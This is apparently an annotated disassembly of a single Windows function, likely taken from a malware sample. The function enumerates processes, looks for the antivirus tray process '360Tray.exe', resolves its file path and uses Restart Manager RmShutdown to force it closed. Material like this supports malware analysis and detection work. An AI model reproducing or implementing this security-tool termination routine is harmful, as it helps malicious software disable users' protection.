Function at 0x10004690
Capabilities:
Create restart manager session
Enumerate processes
Get disk information
Get process image filename

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7fc
mov eax, dword [0x100b0040]
xor eax, esp
mov dword [esp + 0x7f8], eax
push ebx
push esi
push edi
push 0x124
lea eax, [esp + 0x20]
mov esi, 1
push 0
push eax
call fcn.1000d670
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x100049b7
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x128
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100049b2
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
nop
test esi, esi
je 0x100049b2
push dword [esp + 0x20]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [esp + 0x3c]
push str.360Tray.exe
push eax
mov dword [esp + 0x148], esi
call ebx
test eax, eax
jne 0x10004969
test esi, esi
je 0x10004969
push 0x200
lea eax, [esp + 0x604]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
lea eax, [esp + 0x1f8]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x1000486d
cmp byte [esp + 0x1f8], 0
je 0x1000486d
lea edi, [esp + 0x1f8]
push 0x1003434c
push edi
call ebx
test eax, eax
je 0x10004861
push 0x10034350
push edi
call ebx
test eax, eax
je 0x10004861
movzx eax, byte [edi]
mov byte [esp + 0x144], al
movzx eax, byte [edi + 1]
mov byte [esp + 0x145], al
lea eax, [esp + 0x190]
push 0x64
push eax
lea eax, [esp + 0x14c]
mov byte [esp + 0x14e], 0
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x10004883
lea eax, [esp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea edx, [esp + 0x600]
mov esi, ebx
lea eax, [esp + 0x190]
sub esi, 4
jb 0x10004815
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x1000481e
add edx, 4
add eax, 4
sub esi, 4
jae 0x10004804
cmp esi, 0xfffffffc
je 0x1000497f
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x1000485b
cmp esi, 0xfffffffd
je 0x1000497f
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x1000485b
cmp esi, 0xfffffffe
je 0x1000497f
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x1000485b
cmp esi, 0xffffffff
je 0x1000497f
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x1000497f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add edi, 4
cmp byte [edi], 0
jne 0x10004782
lea eax, [esp + 0x600]
push eax
lea eax, [esp + 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esp + 0x140]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x42
lea eax, [esp + 0x14c]
mov dword [esp + 0x144], 0xffffffff
push 0
push eax
call fcn.1000d670
add esp, 0xc
lea eax, [esp + 0x148]
push eax
push 0
lea eax, [esp + 0x148]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov esi, eax
push esi
push 0x10034354
call fcn.100011b0
add esp, 8
test esi, esi
jne 0x1000494b
lea ecx, [esp + 0x400]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100048e5
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea ecx, [esp + 0x1fc]
push ecx
push eax
lea eax, [esp + 0x40c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x10004956
push 0
push 0
push 0
lea eax, [esp + 0x204]
push 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push 1
push dword [esp + 0x158]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x1000494b
push eax
push eax
push dword [esp + 0x148]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x140]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_Process32Next]
mov esi, eax
jmp 0x10004700
lea eax, [esp + 0x144]
push eax
lea eax, [esp + 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x600]
add eax, ebx
push eax
lea eax, [esp + 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10004883
call fcn.10003df0
mov ecx, dword [esp + 0x804]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100088f8
mov esp, ebp
pop ebp
ret